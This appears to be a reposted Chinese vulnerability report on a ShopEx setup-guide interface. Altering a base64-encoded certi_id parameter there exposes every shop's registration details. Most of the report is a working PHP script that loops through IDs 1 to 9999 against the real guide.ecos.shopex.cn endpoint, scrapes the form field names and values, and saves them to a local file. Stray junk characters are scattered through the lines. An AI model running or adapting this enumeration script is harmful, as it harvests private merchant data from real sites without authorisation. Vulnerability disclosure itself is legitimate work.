ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
/ S' s- ]1 I3 ]$ z# o7 i! vShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面



' D9 m5 S( o0 F$ ]3 ]http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: Q+ W, b3 }7 M$ U


- D6 ~' i3 W  g: c) V) drefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
, `* R# G4 W- q, O8 s" r3 S


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


6 `) u5 M/ S' |% c
<?php
1 y; q) H% s+ {- U
                for ($i=1; $i < 10000; $i++) { //遍历
, s" S. b3 I1 t8 ]
! i" U' Z: o; \- D% w                        ShowshopExD($i);
9 g3 ?$ i3 `; Q+ r8 N" u4 n( [
                }

1 L; |/ ^# r& X                function ShowshopExD($cid) {
' R' Y2 t' p% r: @- P) D
                $url='http://guide.ecos.shopex.cn/step2.php';
9 W/ f# L% S  `5 {; e) U
* U: W6 w3 k! S" E' I8 a                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
1 q3 r* m: R  I9 c' f, J
' V1 b: n4 \- Z0 U2 r5 x        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
# j  n9 D9 d* \
5 P0 A2 B3 p) F3 G        $result = curl_exec($ch);

) I, b2 }$ q; x% F/ S: k- k4 v$ M        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
0 C3 H) |+ R) ]5 G* k) k. O. i
: ~* M: m1 L* P5 w  W8 V5 _7 [        if(strpos($result,$refer))
. ^* B6 _9 W: m+ X6 Y8 O9 A3 F$ i
        {
! w/ P3 p! ~/ J& X7 i( _
, f+ w5 B* s$ t8 e0 L1 m6 X                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 N1 d) K( r) X9 Y" O* p: `" V
# c$ d  S, W9 z% \/ H* l& j                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

" g+ G1 x1 T6 A3 S) ~/ n8 S$ C                foreach ($value[1] as $key) {
/ H* t( B4 a; ~
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

, s+ X7 d$ F$ y9 X# [5 |                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 F- t: n5 x; R# F) h  H
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
9 d6 A5 C8 t) Z' s: j/ X; ~) J
                        fwrite($fp, $col, strlen($col));

                }

. y; n- C9 Q# D                echo '--------------------------------'."\r\n";
. v4 b- E9 V" v" `
                fclose($fp);
: J1 e' s5 }$ `# y$ _5 X. o: K
. _/ O5 j: Y# K        }

        flush();
: B' O+ Q6 ]0 u" |' Y. @
8 S. q# B2 H+ t7 {. u3 w        curl_close($ch);

% |0 q7 F' N: a$ c! u4 a                }
* ~: a8 c" l! h$ R' `8 E
# v" G% @) c& M% E" G) M0 u  o) r?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式